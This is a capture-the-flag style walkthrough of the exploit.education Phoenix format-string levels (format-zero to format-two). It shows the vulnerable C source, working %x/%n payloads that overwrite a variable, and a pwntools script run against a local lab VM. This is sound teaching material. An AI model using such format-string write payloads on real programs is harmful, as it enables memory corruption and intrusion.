The new chapter is about the story of exploiting format string vulnerabilities.
format-two is all about x86 solutions. It took me a while to find out how to avoid the pitfall of \x00 under x86_64 in a comment section.
format-zero#
Source Code#
/*
* phoenix/format-zero, by https://exploit.education
*
* Can you change the "changeme" variable?
*
* 0 bottles of beer on the wall, 0 bottles of beer! You take one down, and
* pass it around, 4294967295 bottles of beer on the wall!
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int main(int argc, char **argv) {
struct {
char dest[32];
volatile int changeme;
} locals;
char buffer[16];
printf("%s\n", BANNER);
if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
errx(1, "Unable to get buffer");
}
buffer[15] = 0;
locals.changeme = 0;
sprintf(locals.dest, buffer);
if (locals.changeme != 0) {
puts("Well done, the 'changeme' variable has been changed!");
} else {
puts(
"Uh oh, 'changeme' has not yet been changed. Would you like to try "
"again?");
}
exit(0);
}
Solve#
Use a 15-character format string to generate an output of more than 32 bits in order to overwrite changeme.
The variable arguments in C are stored on the stack and there is no validation of the number of arguments. So we can just generate a bunch of numbers.
user@phoenix-amd64:~$ python -c "print('%x'*15)"|/opt/phoenix/amd64/format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed!
Let's see what was formatted in memory using gdb:
(gdb) p (char*)0x00007fffffffe650
$4 = 0x7fffffffe650 "ffffe640f7ffc546712e712ea0a0a0affffe6d8078257825"
It's 48 bits.
Oh, I suddenly remembered that we can use "%32x"... (Why is 32 bits enough? Because there is a "\n" at the end of the input)
format-one#
Change changeme to a fixed value of 0x45764f6c. Just append it to the previous solution.
user@phoenix-amd64:~$ python -c "from pwn import *;print('%32x'+p64(0x45764f6c))"|/opt/phoenix/amd64/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed correctly!
p64 is used to pack a 64-bit integer into bytes.
format-two#
Source Code#
/*
* phoenix/format-two, by https://exploit.education
*
* Can you change the "changeme" variable?
*
* What kind of flower should never be put in a vase?
* A cauliflower.
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int changeme;
void bounce(char *str) {
printf(str);
}
int main(int argc, char **argv) {
char buf[256];
printf("%s\n", BANNER);
if (argc > 1) {
memset(buf, 0, sizeof(buf));
strncpy(buf, argv[1], sizeof(buf));
bounce(buf);
}
if (changeme != 0) {
puts("Well done, the 'changeme' variable has been changed correctly!");
} else {
puts("Better luck next time!\n");
}
exit(0);
}
Theory#
Use %n to write the number of bytes already outputted to a specific address.
Since printf doesn't have any arguments here, we can write to an address on the stack.
First, we need to find out how far the stack top is from the input we can control, and then fill in %p, which consumes 8 bytes.
The situation is a bit different between x86 and x86_64. For x86, we can do it like this (https://n1ght-w0lf.github.io/binary%20exploitation/format-two/):
/opt/phoenix/i486/format-two $'\x68\x98\x04\x08%x %x %x %x %x %x %x %x %x %x %x %n \n'
Put the address we want to write (the address of changeme) at the beginning, and then write %x based on the calculated distance between the stack top and the string. However, the changeme address in x64 ends with \x00, so doing it like above will be truncated. But we can do it like this (https://blog.lamarranet.com/index.php/exploit-education-phoenix-format-two-solution/ comments section):
/opt/phoenix/amd64/format-two $'%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%n\xf0\x0a\x60'
Each additional %p string adds two bytes, but it can consume 8 bytes on the stack, creating a chasing problem until a certain number, where the address 0x00600af0 is right below %n.
Pitfall#
When using $(balabala) as a parameter in bash, if there is a newline inside, it will automatically become two parameters.
So we can't do this:
/opt/phoenix/amd64/format-two $(cat payload)
Some Python Code#
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
shellcode = b'%p'*15+b'%n\xf0\x0a\x60'
sh = shell.process(argv=["/opt/phoenix/amd64/format-two", shellcode])
sh.interactive()